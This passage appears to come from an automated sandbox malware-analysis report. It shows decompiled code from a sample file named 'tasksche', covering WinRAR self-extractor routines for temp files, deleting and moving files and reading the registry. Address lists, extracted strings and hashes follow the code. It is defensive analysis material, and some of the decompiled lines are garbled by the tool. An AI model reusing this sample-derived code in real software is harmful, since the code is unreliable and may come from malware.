													__eflags =  *(_t318 + 0x10);
													if( *(_t318 + 0x10) != 0) {
														UnmapViewOfFile( *(_t318 + 0x14));
														CloseHandle( *(_t318 + 0x10));
													}
													__eflags =  *(_t318 + 0xf);
													if( *(_t318 + 0xf) == 0) {
														goto L65;
													} else {
														goto L64;
													}
												}
											}
											E0040BC16(_t318 - 0x1164, _t308, L"__tmp_rar_sfx_access_check_%u", GetTickCount());
											_t320 = _t320 + 0x10;
											E00408786(_t318 - 0x5688);
											 *(_t318 - 4) = 0;
											_t247 = E00408923(_t318 - 0x5688, _t318 - 0x1164, 0x11); // executed
											 *(_t318 + 0x13) = _t247;
											__eflags = _t247;
											if(_t247 == 0) {
												_t249 = GetLastError();
												__eflags = _t249 - 5;
												if(_t249 == 5) {
													 *(_t318 + 0xf) = 1;
												}
											}
											_t42 = _t318 - 4;
											 *_t42 =  *(_t318 - 4) | 0xffffffff;
											__eflags =  *_t42;
											_t283 = _t318 - 0x5688;
											E00408C7D(0, _t318 - 0x5688);
											goto L47;
										}
									} else {
										_t251 = GetLastError();
										__eflags = _t251 - 5;
										if(_t251 == 5) {
											L37:
											 *(_t318 + 0xf) = 1;
											goto L38;
										}
										__eflags = _t251 - 3;
										if(_t251 != 3) {
											goto L38;
										}
										goto L37;
									}
								}
								 *0x44183c = 1;
								_t303 = 1;
								goto L75;
							}
							__eflags =  *0x441832;
							if( *0x441832 != 0) {
								 *0x44183c = 1;
							}
							_push(1);
							goto L66;
						} else {
							__eflags =  *0x44ef30;
							_t256 = _t161 & 0xffffff00 |  *0x44ef30 == 0x00000000;
							__eflags = _t256;
							 *0x44ef30 = _t256;
							SetDlgItemTextW(_t316, 1, E0040C3BF((0 | _t256 != 0x00000000) + 0xe6));
							while(1) {
								__eflags =  *0x44ef30;
								if( *0x44ef30 == 0) {
									break;
								}
								__eflags =  *0x44183c;
								if( *0x44183c != 0) {
									break;
								}
								_t260 = GetMessageW(_t318 - 0x64, 0, 0, 0);
								__eflags = _t260;
								if(_t260 == 0) {
									break;
								} else {
									_t262 = IsDialogMessageW(_t316, _t318 - 0x64);
									__eflags = _t262;
									if(_t262 == 0) {
										TranslateMessage(_t318 - 0x64);
										DispatchMessageW(_t318 - 0x64);
									}
									continue;
								}
							}
							L67:
							_t128 = 1;
							goto L126;
						}
					}
					_t267 = _t161 - 1;
					__eflags = _t267;
					if(_t267 == 0) {
						 *0x44183c = 1;
						__eflags =  *0x441834;
						if( *0x441834 == 0) {
							goto L65;
						}
						__eflags =  *0x441838;
						if( *0x441838 != 0) {
							goto L67;
						} else {
							goto L65;
						}
					}
					__eflags = _t267 == 0x65;
					if(_t267 == 0x65) {
						_t271 = E004050E8(_t316, E0040C3BF(0x64), _t318 - 0x1164); // executed
						__eflags = _t271;
						if(_t271 != 0) {
							SetDlgItemTextW(_t316, 0x66, _t318 - 0x1164); // executed
						}
						goto L67;
					}
					goto L7;
				} else {
					_t128 = 1;
					L127:
					 *[fs:0x0] =  *((intOrPtr*)(_t318 - 0xc));
					return _t128;
				}
			}

0x0040f58d
0x0040f58d
0x0040f58d
0x0040f592
0x0040f59c
0x0040f5a3
0x0040f5b9
0x0040f5c0
0x0040f5cd
0x0040f5cd
0x0040f5d3
0x0040fc0e
0x0040fc13
0x0040fc19
0x0040fc1f
0x0040fc21
0x0040fc2c
0x0040fc2c
0x0040fc32
0x0040fc37
0x0040fc39
0x0040fc45
0x0040fc45
0x0040fc4c
0x0040fc5a
0x0040fc68
0x0040fc6b
0x0040fc7d
0x0040fc87
0x0040fc8a
0x0040fc8f
0x0040fc96
0x0040fc98
0x0040fc98
0x0040fca2
0x0040fcab
0x0040fcb0
0x0040fcb5
0x0040fcba
0x0040fcbf
0x0040fcc0
0x0040fcc6
0x0040fccb
0x0040fcd1
0x0040fcd3
0x0040fcd5
0x0040fcdb
0x0040fcdc
0x0040fcdc
0x0040fce1
0x0040fce7
0x0040fd17
0x0040fd17
0x0040fce9
0x0040fcf7
0x0040fd02
0x0040fd0a
0x0040fd0d
0x0040fd0d
0x0040fd18
0x0040fd1e
0x0040fdc1
0x0040fdc1
0x0040fdc7
0x0040fe6a
0x0040fe6a
0x0040fe71
0x0040fe77
0x0040fe77
0x0040fe7d
0x0040fe83
0x0040fe89
0x0040fe92
0x0040fe92
0x0040fe97
0x0040fe9c
0x0040fe9e
0x0040fea0
0x0040fea6
0x0040fea8
0x0040fea9
0x0040feaa
0x0040feaf
0x0040feb0
0x0040feb2
0x0040febc
0x0040feb4
0x0040feb4
0x0040feb4
0x0040feb2
0x0040fea6
0x0040fec2
0x0040fec8
0x0040fed7
0x0040fed7
0x00000000
0x0040fec8
0x0040fdcd
0x0040fdd3
0x00000000
0x00000000
0x0040fdd9
0x0040fddf
0x00000000
0x00000000
0x0040fde5
0x0040fdec
0x0040fdf3
0x0040fdf6
0x0040fdf6
0x0040fdf9
0x0040fe03
0x0040fe03
0x0040fe0a
0x0040fe14
0x0040fe20
0x0040fe37
0x00000000
0x0040fe3d
0x0040fe0c
0x0040fe12
0x00000000
0x00000000
0x00000000
0x0040fe12
0x0040fdfb
0x0040fe01
0x00000000
0x00000000
0x00000000
0x0040fe3e
0x0040fe3e
0x0040fe41
0x0040fe41
0x0040fe4a
0x0040fe62
0x0040fe69
0x0040fe69
0x00000000
0x0040fd24
0x0040fd24
0x0040fd25
0x0040fd2b
0x0040fd2c
0x0040fd31
0x0040fd36
0x0040fd38
0x0040fd3a
0x0040fd40
0x0040fd42
0x0040fd54
0x0040fd59
0x0040fd5f
0x0040fd64
0x0040fd40
0x0040fd65
0x0040fd6b
0x0040fdb4
0x0040fdb4
0x0040fdb5
0x0040fdbb
0x0040fdbc
0x00000000
0x0040fd6d
0x0040fd6e
0x0040fd74
0x0040fd7a
0x00000000
0x00000000
0x0040fd7c
0x0040fd82
0x00000000
0x00000000
0x0040fd96
0x0040fd9c
0x0040fd9e
0x00000000
0x00000000
0x0040fda0
0x0040fda7
0x0040fda9
0x0040fedd
0x0040fedd
0x0040fedf
0x00000000
0x0040fedf
0x0040fd6b
0x0040fd1e
0x0040f5d9
0x0040f5da
0x0040f5eb
0x0040f5eb
0x00000000
0x0040f5eb
0x0040f5e0
0x0040f5e0
0x0040f5e1
0x0040f648
0x0040f64e
0x0040f6ce
0x0040f6de
0x0040f6e4
0x0040f6ea
0x0040f702
0x0040f708
0x0040f71c
0x0040f722
0x0040f725
0x0040f72b
0x0040f73c
0x0040f74c
0x0040f74e
0x0040f74e
0x0040f756
0x0040f75c
0x0040f762
0x0040f77f
0x0040f78c
0x0040f7af
0x0040f7b4
0x0040f7b7
0x0040f764
0x0040f769
0x0040f769
0x0040f7bf
0x0040f7c4
0x0040f7ca
0x0040f7d3
0x0040f7d3
0x0040f7e0
0x0040f7e3
0x0040f7e8
0x0040f7ea
0x0040f800
0x0040f807
0x0040f80c
0x0040f80f
0x0040f811
0x0040f813
0x0040f819
0x0040f81c
0x0040f81e
0x0040f81e
0x0040f81c
0x0040f822
0x0040f828
0x0040f892
0x0040f892
0x0040f895
0x0040fab9
0x0040fabb
0x0040fac1
0x0040faca
0x0040fadc
0x0040fae6
0x0040faf3
0x0040fafc
0x0040fb02
0x0040fb05
0x0040fb07
0x0040fb12
0x0040fb12
0x0040fb1d
0x0040fb1d
0x0040fb23
0x0040fb25
0x0040fb2b
0x0040fb2c
0x0040fb31
0x0040fb33
0x0040fb39
0x0040fb3a
0x0040fb3f
0x0040fb44
0x0040fb45
0x0040fb4c
0x0040fb51
0x0040fb53
0x0040fb59
0x0040fb5f
0x0040fb60
0x0040fb65
0x0040fb6b
0x0040fb6d
0x0040fb73
0x0040fb75
0x0040fb7b
0x0040fb7d
0x0040fb7f
0x0040fb85
0x0040fb86
0x0040fb86
0x0040fb7b
0x0040fb73
0x0040fb8e
0x0040fb93
0x0040fb99
0x0040fb99
0x0040fb9f
0x00000000
0x00000000
0x0040fba5
0x0040fbab
0x00000000
0x00000000
0x0040fbb6
0x0040fbc5
0x0040fbcb
0x0040fbd0
0x0040fbd3
0x0040fbde
0x0040fbe8
0x0040fbe8
0x0040fbd5
0x0040fbd5
0x0040fbd5
0x0040fbf5
0x0040fc03
0x00000000
0x0040fc03
0x0040f89b
0x0040f8a1
0x0040f8a3
0x0040f8a3
0x00000000
0x0040f82a
0x0040f82a
0x0040f82d
0x0040f8a6
0x0040f8a6
0x0040f8a9
0x0040f8ad
0x0040f8b0
0x0040fa4c
0x0040fa56
0x0040fa6f
0x0040fa7e
0x0040fa98
0x0040fa9e
0x0040fa9e
0x0040faa4
0x0040faa4
0x0040faa5
0x0040faa6
0x00000000
0x0040faa6
0x0040f8c3
0x0040f8da
0x0040f8df
0x0040f8ea
0x0040f903
0x0040f908
0x0040f922
0x0040f92e
0x0040f935
0x0040f93c
0x0040f93f
0x0040f946
0x0040f949
0x0040f950
0x0040f957
0x0040f95a
0x0040f960
0x0040f963
0x0040f965
0x0040f967
0x0040f96d
0x0040f973
0x0040f975
0x0040f982
0x0040f982
0x0040f98e
0x0040f99a
0x0040f9a6
0x0040f9c0
0x0040f9c3
0x0040f9c8
0x0040f9c8
0x0040f9cf
0x0040f9e3
0x0040f9f4
0x0040f9f9
0x0040f9fb
0x0040fa2c
0x00000000
0x0040f9fd
0x0040fa05
0x0040fa0b
0x0040fa0b
0x0040fa0d
0x0040fa10
0x0040fa12
0x00000000
0x00000000
0x0040fa16
0x0040fa1c
0x0040fa1d
0x0040fa20
0x00000000
0x00000000
0x00000000
0x0040fa20
0x0040fa25
0x0040fa30
0x0040fa30
0x0040fa33
0x0040fa38
0x0040fa41
0x0040fa41
0x0040fa47
0x0040fa4a
0x00000000
0x00000000
0x00000000
0x00000000
0x0040fa4a
0x0040f9fb
0x0040f843
0x0040f848
0x0040f851
0x0040f865
0x0040f868
0x0040f86d
0x0040f870
0x0040f872
0x0040f874
0x0040f87a
0x0040f87d
0x0040f87f
0x0040f87f
0x0040f87d
0x0040f883
0x0040f883
0x0040f883
0x0040f887
0x0040f88d
0x00000000
0x0040f88d
0x0040f7ec
0x0040f7ec
0x0040f7f2
0x0040f7f5
0x0040f7fc
0x0040f7fc
0x00000000
0x0040f7fc
0x0040f7f7
0x0040f7fa
0x00000000
0x00000000
0x00000000
0x0040f7fa
0x0040f7ea
0x0040f70c
0x0040f713
0x00000000
0x0040f713
0x0040f6ec
0x0040f6f2
0x0040f6f4
0x0040f6f4
0x0040f6fb
0x00000000
0x0040f650
0x0040f650
0x0040f656
0x0040f65b
0x0040f660
0x0040f675
0x0040f6c1
0x0040f6c1
0x0040f6c7
0x0040f6c9
0x0040f6c9
0x0040f67d
0x0040f683
0x00000000
0x00000000
0x0040f690
0x0040f696
0x0040f698
0x00000000
0x0040f69e
0x0040f6a3
0x0040f6a9
0x0040f6ab
0x0040f6b1
0x0040f6bb
0x0040f6bb
0x00000000
0x0040f6ab
0x0040f698
0x0040faac
0x0040faae
0x00000000
0x0040faae
0x0040f64e
0x0040f5e3
0x0040f5e3
0x0040f5e4
0x0040f624
0x0040f62b
0x0040f631
0x00000000
0x00000000
0x0040f637
0x0040f63d
0x00000000
0x0040f643
0x00000000
0x0040f643
0x0040f63d
0x0040f5e6
0x0040f5e9
0x0040f602
0x0040f607
0x0040f609
0x0040f619
0x0040f619
0x00000000
0x0040f609
0x00000000
0x0040f5c2
0x0040f5c4
0x0040fee0
0x0040fee5
0x0040feed
0x0040feed

APIs

__EH_prolog.LIBCMT ref: 0040F592

Strings

z8D, xrefs: 0040F8D5
@, xrefs: 0040F935
-el -s2 "-d%s" "-p%s" "-sp%s", xrefs: 0040F8F2
LICENSEDLG, xrefs: 0040FD8B
winrarsfxmappingfile.tmp, xrefs: 0040F90B
__tmp_rar_sfx_access_check_%u, xrefs: 0040F836
STARTDLG, xrefs: 0040F5AA
<, xrefs: 0040F92E
"%s"%s, xrefs: 0040FA5E

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID: "%s"%s$-el -s2 "-d%s" "-p%s" "-sp%s"$<$@$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp$z8D
API String ID: 3519838083-129321368
Opcode ID: d5c99f85f86543ea3ebed7eb2e2905cf4c60dfa9abb58ceeac9b75b9585566a8
Instruction ID: cc4c1e380d3e9e53cf766c3de9df5bd6880f95cbde9f973ccf433d51db550174
Opcode Fuzzy Hash: d5c99f85f86543ea3ebed7eb2e2905cf4c60dfa9abb58ceeac9b75b9585566a8
Instruction Fuzzy Hash: C732C371540248BFEB31BF619C85E9B3A68EB06304F44407BF901B61E2DB794999CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040E857 Relevance: 73.9, APIs: 35, Strings: 7, Instructions: 411
windowfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 78%

			E0040E857(void* __esi) {
				intOrPtr _t271;
				void* _t274;
				void* _t349;
				short* _t352;
				void* _t354;

				E0041A4DC(E004297C6, _t354);
				_t271 = E0041AAF0(0x1bc84);
				if( *((intOrPtr*)(_t354 + 0xc)) == 0) {
					L165:
					 *[fs:0x0] =  *((intOrPtr*)(_t354 - 0xc));
					return _t271;
				}
				_t271 = E0040D781(_t354 - 0x11, _t354 - 0xec90, __esi,  *((intOrPtr*)(_t354 + 0xc)), _t354 - 0x4440, _t354 + 0xf, 0x1000);
				 *((intOrPtr*)(_t354 + 0xc)) = _t271;
				if(_t271 != 0) {
					_push(__esi);
					do {
						_t349 = GetFileAttributesW;
						_t336 = _t354 - 0x1bc90;
						_t352 = 0x438818;
						_t274 = _t354 - 0x4440;
						 *(_t354 - 0x10) = _t354 - 0x1bc90;
						 *((intOrPtr*)(_t354 - 0x18)) = 6;
						goto L4;
						L6:
						while(E00411E60(_t354 - 0xec90,  *((intOrPtr*)(0x430100 +  *(_t354 - 0x10) * 4))) != 0) {
							 *(_t354 - 0x10) =  *(_t354 - 0x10) + 1;
							if( *(_t354 - 0x10) < 0xe) {
								continue;
							} else {
								goto L163;
							}
						}
						if( *(_t354 - 0x10) > 0xd) {
							goto L163;
						}
						switch( *((intOrPtr*)( *(_t354 - 0x10) * 4 +  &M0040F443))) {
							case 0:
								__eflags =  *((intOrPtr*)(_t354 + 0x10)) - 2;
								if( *((intOrPtr*)(_t354 + 0x10)) != 2) {
									goto L163;
								}
								E00419C9B(_t354 - 0x8c90, 0x800);
								E0040A146(_t354 - 0x8c90, _t354 - 0x4440, _t354 - 0xfc90, 0x800);
								E00409433(_t354 - 0x7c90);
								 *(_t354 - 4) =  *(_t354 - 4) & 0x00000000;
								E0040945C(_t354 - 0x7c90, _t354 - 0xfc90);
								E004067E1(_t354 - 0x5c88);
								_push(0);
								_t292 = E0040960E(_t354 - 0x7c90, _t347, _t354 - 0x5c88);
								__eflags = _t292;
								if(_t292 == 0) {
									L27:
									 *(_t354 - 4) =  *(_t354 - 4) | 0xffffffff;
									E00409449(_t354 - 0x7c90);
									goto L163;
								} else {
									_t352 = L"%s.%d.tmp";
									do {
										SetFileAttributesW(_t354 - 0x5c88, 0);
										__eflags =  *((char*)(_t354 - 0x4c7c));
										if(__eflags == 0) {
											L19:
											_t297 = GetFileAttributesW(_t354 - 0x5c88);
											__eflags = _t297 - 0xffffffff;
											if(_t297 == 0xffffffff) {
												goto L26;
											}
											_t301 = DeleteFileW(_t354 - 0x5c88);
											__eflags = _t301;
											if(_t301 != 0) {
												goto L26;
											} else {
												 *(_t354 - 0x10) =  *(_t354 - 0x10) & _t301;
												_push(_t301);
												goto L23;
												L23:
												E0040BC16(_t354 - 0x1040, 0x800, _t352, _t354 - 0x5c88);
												_t356 = _t356 + 0x14;
												_t306 = GetFileAttributesW(_t354 - 0x1040);
												__eflags = _t306 - 0xffffffff;
												if(_t306 != 0xffffffff) {
													_t67 = _t354 - 0x10;
													 *_t67 =  *(_t354 - 0x10) + 1;
													__eflags =  *_t67;
													_push( *(_t354 - 0x10));
													goto L23;
												} else {
													_t309 = MoveFileW(_t354 - 0x5c88, _t354 - 0x1040);
													__eflags = _t309;
													if(_t309 != 0) {
														MoveFileExW(_t354 - 0x1040, 0, 4);
													}
													goto L26;
												}
											}
										}
										E0040AA7D(__eflags, _t354 - 0x8c90, _t354 - 0x1040, 0x800);
										E0040A116(__eflags, _t354 - 0x1040, 0x800);
										_t318 = E0041A7AF(_t354 - 0x8c90);
										 *((intOrPtr*)(_t354 - 0x18)) = _t318;
										__eflags = _t318 - 4;
										if(_t318 < 4) {
											L17:
											_t320 = E0040A0A4(_t354 - 0x4440);
											__eflags = _t320;
											if(_t320 != 0) {
												goto L27;
											}
											L18:
											_t322 = E0041A7AF(_t354 - 0x5c88);
											__eflags = 0;
											 *((short*)(_t354 + _t322 * 2 - 0x5c86)) = 0;
											E0041A820(_t349, _t354 - 0x40, 0, 0x1e);
											_t356 = _t356 + 0x10;
											_push(0x14);
											_pop(_t325);
											 *((short*)(_t354 - 0x30)) = _t325;
											 *((intOrPtr*)(_t354 - 0x38)) = _t354 - 0x5c88;
											 *((intOrPtr*)(_t354 - 0x3c)) = 3;
											SHFileOperationW(_t354 - 0x40);
											goto L19;
										}
										_t330 = E0041A7AF(_t354 - 0x1040);
										__eflags =  *((intOrPtr*)(_t354 - 0x18)) - _t330;
										if( *((intOrPtr*)(_t354 - 0x18)) > _t330) {
											goto L18;
										}
										goto L17;
										L26:
										_push(0);
										_t299 = E0040960E(_t354 - 0x7c90, _t347, _t354 - 0x5c88);
										__eflags = _t299;
									} while (_t299 != 0);
									goto L27;
								}
							case 1:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) == 0) {
									__eax =  *0x441850;
									__eflags = __eax;
									 *((char*)(__ebp - 0x12)) = __eax == 0;
									__eflags =  *((char*)(__ebp - 0x12));
									if( *((char*)(__ebp - 0x12)) == 0) {
										__eax = E0041A7C9(__eax, L"<br>");
										_pop(__ecx);
										_pop(__ecx);
									}
									__eflags =  *((char*)(__ebp - 0x11));
									if(__eflags == 0) {
										__edi = __ebp + 0xc;
										__edi = E0040D92D(__ebp + 0xc, __eflags);
									} else {
										__edi = __ebp - 0x4440;
									}
									__eflags =  *((char*)(__ebp - 0x12));
									if( *((char*)(__ebp - 0x12)) == 0) {
										__esi = E0041A7AF( *0x441850);
									} else {
										__esi = 0;
									}
									__eax = E0041A7AF(__edi);
									__eax = __eax + __esi;
									_push(__eax);
									_push( *0x441850);
									__eax = E0041A594(__ebx, __edi, __esi, __eflags);
									__esp = __esp + 0xc;
									__eflags =  *((char*)(__ebp - 0x12));
									 *0x441850 = __eax;
									if( *((char*)(__ebp - 0x12)) != 0) {
										__ecx = 0;
										__eflags = 0;
										 *__eax = __cx;
									}
									__eax = E0041A7C9(__eax, __edi);
									__eflags =  *((char*)(__ebp - 0x11));
									_pop(__ecx);
									_pop(__ecx);
									if(__eflags == 0) {
										_push(__edi);
										__eax = E0041A506(__ebx, __edi, __esi, __eflags);
										_pop(__ecx);
									}
								}
								goto L163;
							case 2:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) == 0) {
									__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
								}
								goto L163;
							case 3:
								__eflags =  *(__ebp + 0x10);
								if( *(__ebp + 0x10) != 0) {
									goto L163;
								}
								__eflags =  *0x44187a;
								if( *0x44187a != 0) {
									goto L163;
								}
								__eax = 0;
								__eflags =  *(__ebp - 0x4440) - 0x22;
								__edi = __ebp - 0x4440;
								 *(__ebp - 0x18) = __edi;
								 *(__ebp - 0x1040) = __ax;
								if( *(__ebp - 0x4440) == 0x22) {
									__edi = __ebp - 0x443e;
									 *(__ebp - 0x18) = __edi;
								}
								__eax = E0041A7AF(__edi);
								__eflags = __eax - __ebx;
								if(__eax >= __ebx) {
									goto L163;
								} else {
									__eax = __edi->i & 0x0000ffff;
									__eflags = __ax - 0x2e;
									if(__ax != 0x2e) {
										L52:
										__eflags = __ax - 0x5c;
										if(__ax == 0x5c) {
											L64:
											_push(__edi);
											L65:
											__eax = __ebp - 0x1040;
											_push(__ebp - 0x1040);
											__eax = E0041A7F7();
											L66:
											_pop(__ecx);
											_pop(__ecx);
											L67:
											__eax = __ebp - 0x1040;
											__eax = E0041CA4F(__ebp - 0x1040, 0x22);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__eflags =  *((short*)(2 + __eax));
												if( *((short*)(2 + __eax)) == 0) {
													__ecx = 0;
													__eflags = 0;
													 *__eax = __cx;
												}
											}
											__ebp - 0x1040 = E0041A7F7(__esi, __ebp - 0x1040);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0x1040 = E0040DB16(__esi, __ebp - 0x1040, __ebx); // executed
											__edi = GetDlgItem( *(__ebp + 8), 0x66);
											__ebp - 0x1040 = SetWindowTextW(__edi, __ebp - 0x1040); // executed
											__eax = SendMessageW(__edi, 0x143, 0, __esi); // executed
											__eax = __ebp - 0x1040;
											__eax = E0041AA21(__esi, __ebp - 0x1040);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__ebp - 0x1040 = SendMessageW(__edi, 0x143, 0, __ebp - 0x1040);
											}
											goto L163;
										}
										__eflags = __ax;
										if(__ax == 0) {
											L55:
											__eax = __ebp - 0x1c;
											__eax = RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion", 0, 1, __ebp - 0x1c);
											__eflags = __eax;
											if(__eax == 0) {
												__ebp - 0x10 = __ebp - 0x1040;
												__eax = __ebp - 0x20;
												 *(__ebp - 0x10) = 0x1000;
												RegQueryValueExW( *(__ebp - 0x1c), L"ProgramFilesDir", 0, __ebp - 0x20, __ebp - 0x1040, __ebp - 0x10) = RegCloseKey( *(__ebp - 0x1c));
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eax = 0x7ff;
												__eflags =  *(__ebp - 0x10) - 0x7ff;
												if( *(__ebp - 0x10) < 0x7ff) {
													__eax =  *(__ebp - 0x10);
												}
												__ecx = 0;
												__eflags = 0;
												 *(__ebp + __eax * 2 - 0x1040) = __cx;
											}
											__eflags =  *(__ebp - 0x1040);
											if( *(__ebp - 0x1040) != 0) {
												__eax = __ebp - 0x1040;
												__eax = E0041A7AF(__ebp - 0x1040);
												__eflags =  *((short*)(__ebp + __eax * 2 - 0x1042)) - 0x5c;
												if( *((short*)(__ebp + __eax * 2 - 0x1042)) != 0x5c) {
													__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040, "\\");
													_pop(__ecx);
													_pop(__ecx);
												}
											}
											__edi = E0041A7AF(__edi);
											__eax = __ebp - 0x1040;
											__edi = __edi + E0041A7AF(__ebp - 0x1040);
											__eflags = __edi - 0x7ff;
											if(__edi >= 0x7ff) {
												goto L67;
											} else {
												__ebp - 0x1040 = E0041A7C9(__ebp - 0x1040,  *(__ebp - 0x18));
												goto L66;
											}
										}
										__eflags = __edi->i - 0x3a;
										if(__edi->i == 0x3a) {
											goto L64;
										}
										goto L55;
									}
									__eflags = __edi->i - 0x5c;
									if(__edi->i != 0x5c) {
										goto L52;
									}
									_t103 = __edi + 4; // 0x26
									__eax = _t103;
									__eflags =  *__eax;
									if( *__eax == 0) {
										goto L163;
									}
									_push(__eax);
									goto L65;
								}
							case 4:
								__eflags =  *0x441874 - 1;
								__eflags = __eax - 0x441874;
								__edi->i = __edi->i + __ecx;
								__eflags = __edi->i & __dh;
								_push(es);
								 *__eax =  *__eax + __al;
								__eflags =  *__eax;
							case 5:
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eflags = __eax;
								if(__eax == 0) {
									L84:
									 *0x441831 = 0;
									 *0x441830 = 1;
									goto L163;
								}
								__eax = __eax - 0x30;
								__eflags = __eax;
								if(__eax == 0) {
									 *0x441831 = 0;
									L83:
									 *0x441830 = 0;
									goto L163;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax == 0) {
									goto L84;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax != 0) {
									goto L163;
								}
								 *0x441831 = 1;
								goto L83;
							case 6:
								__eflags =  *(__ebp + 0x10) - 4;
								if( *(__ebp + 0x10) != 4) {
									goto L94;
								}
								__eax = __ebp - 0x4440;
								__eax = E0041AA21(__ebp - 0x4440, L"<>");
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax == 0) {
									goto L94;
								}
								_push(0);
								goto L93;
							case 7:
								__eflags =  *(__ebp + 0x10) - 1;
								if(__eflags != 0) {
									L114:
									__eflags =  *(__ebp + 0x10) - 7;
									if( *(__ebp + 0x10) == 7) {
										__eflags =  *0x441874;
										if( *0x441874 == 0) {
											 *0x441874 = 2;
										}
										 *0x441870 = 1;
									}
									goto L163;
								}
								__ebp - 0x8c90 = GetTempPathW(__ebx, __ebp - 0x8c90);
								__ebp - 0x8c90 = E0040A116(__eflags, __ebp - 0x8c90, __ebx);
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
								_push(0);
								__esi = L"%s%s%d";
								while(1) {
									_push( *0x4300c8);
									__ebp - 0x8c90 = __ebp - 0x1040;
									E0040BC16(__ebp - 0x1040, __ebx, __esi, __ebp - 0x8c90) = __ebp - 0x1040;
									_push(__ebp - 0x1040);
									__eax = __edi->i();
									__eflags = __eax - 0xffffffff;
									if(__eax == 0xffffffff) {
										break;
									}
									_t152 = __ebp - 0x10;
									 *_t152 =  *(__ebp - 0x10) + 1;
									__eflags =  *_t152;
									_push( *(__ebp - 0x10));
								}
								__ebp - 0x1040 = SetDlgItemTextW( *(__ebp + 8), 0x66, __ebp - 0x1040);
								__eflags =  *(__ebp - 0x4440);
								if( *(__ebp - 0x4440) == 0) {
									goto L163;
								}
								__eflags =  *0x44184a;
								if( *0x44184a != 0) {
									goto L163;
								}
								__eax = 0;
								 *(__ebp - 0x1440) = __ax;
								__eax = __ebp - 0x4440;
								__eax = E0041CA29(__ebp - 0x4440, 0x2c);
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax != 0) {
									L110:
									__eflags =  *(__ebp - 0x1440);
									if( *(__ebp - 0x1440) == 0) {
										__ebp - 0x1bc90 = __ebp - 0x4440;
										E0041A7F7(__ebp - 0x4440, __ebp - 0x1bc90) = __ebp - 0x19c90;
										__ebp - 0x1440 = E0041A7F7(__ebp - 0x1440, __ebp - 0x19c90);
									}
									__ebp - 0x4440 = E0040D24C(__ebp - 0x4440);
									__eax = 0;
									 *(__ebp - 0x3440) = __ax;
									__ebp - 0x1440 = __ebp - 0x4440;
									__eax = MessageBoxW( *(__ebp + 8), __ebp - 0x4440, __ebp - 0x1440, 0x24);
									__eflags = __eax - 6;
									if(__eax == 6) {
										goto L163;
									} else {
										 *0x441849 = 1;
										 *0x44183c = 1;
										__eax = EndDialog( *(__ebp + 8), 1);
										goto L114;
									}
								}
								__ecx = 0;
								__eflags =  *(__ebp - 0x4440) - __cx;
								if( *(__ebp - 0x4440) == __cx) {
									goto L110;
								}
								__eax = __ebp - 0x4440;
								while(1) {
									__eflags =  *__eax - 0x40;
									if( *__eax == 0x40) {
										break;
									}
									__ecx = __ecx + 1;
									__eax = __ebp + __ecx * 2 - 0x4440;
									__eflags =  *__eax;
									if( *__eax != 0) {
										continue;
									}
									goto L110;
								}
								__esi = __ecx + __ecx;
								__ebp + __esi - 0x443e = __ebp - 0x1440;
								__eax = E0041A7F7(__ebp - 0x1440, __ebp + __esi - 0x443e);
								_pop(__ecx);
								__eax = 0;
								__eflags = 0;
								_pop(__ecx);
								 *(__ebp + __esi - 0x4440) = __ax;
								goto L110;
							case 8:
								__eflags =  *(__ebp + 0x10) - 3;
								if( *(__ebp + 0x10) == 3) {
									__eflags =  *(__ebp - 0x4440);
									if(__eflags != 0) {
										__ebp - 0x4440 = SetWindowTextW( *(__ebp + 8), __ebp - 0x4440);
									}
									__edi = __ebp + 0xc;
									 *0x441854 = E0040D92D(__edi, __eflags);
								}
								 *0x44184b = 1;
								goto L163;
							case 9:
								__eflags =  *(__ebp + 0x10) - 5;
								if( *(__ebp + 0x10) != 5) {
									L94:
									 *0x44185c = 1;
									goto L163;
								}
								_push(1);
								L93:
								_push( *(__ebp + 8));
								__ecx = __ebp - 0x4440;
								__eax = E0040E46C(__ecx);
								goto L94;
							case 0xa:
								__eflags =  *(__ebp + 0x10) - 6;
								if( *(__ebp + 0x10) != 6) {
									goto L163;
								}
								__eax = 0;
								 *(__ebp - 0x2440) = __ax;
								__eax =  *(__ebp - 0x1bc90) & 0x0000ffff;
								__eax = E0041D265( *(__ebp - 0x1bc90) & 0x0000ffff);
								_push(__ebx);
								__eflags = __eax - 0x50;
								if(__eax == 0x50) {
									_push(0x43f822);
									__eax = __ebp - 0x2440;
									_push(__ebp - 0x2440);
									__eax = E00410B9C();
									 *(__ebp - 0x18) = 2;
								} else {
